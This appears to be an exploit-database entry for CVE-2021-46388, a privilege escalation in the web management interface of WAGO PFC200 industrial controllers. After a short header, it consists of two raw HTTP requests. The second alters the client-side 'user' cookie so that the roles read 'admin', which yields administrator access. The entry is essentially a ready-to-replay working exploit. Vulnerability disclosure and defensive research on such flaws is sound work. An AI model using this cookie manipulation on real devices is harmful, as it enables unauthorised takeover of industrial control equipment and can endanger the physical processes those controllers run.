# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation # Date: 02/16/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB # Vendor Homepage: https://www.wago.com # Version: Firmware version 03.05.10(17) # Tested on: PopOS! [Linux](Firefox) # CVE : CVE-2021-46388 ======================================== = The ordinary user privilege request: ======================================== GET /wbm/ HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://192.168.1.1/wbm/ Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true} ========================================== = Manipulated Cookie to Admin Privilege: ========================================== GET /wbm/ HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://192.168.1.1/wbm/ Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}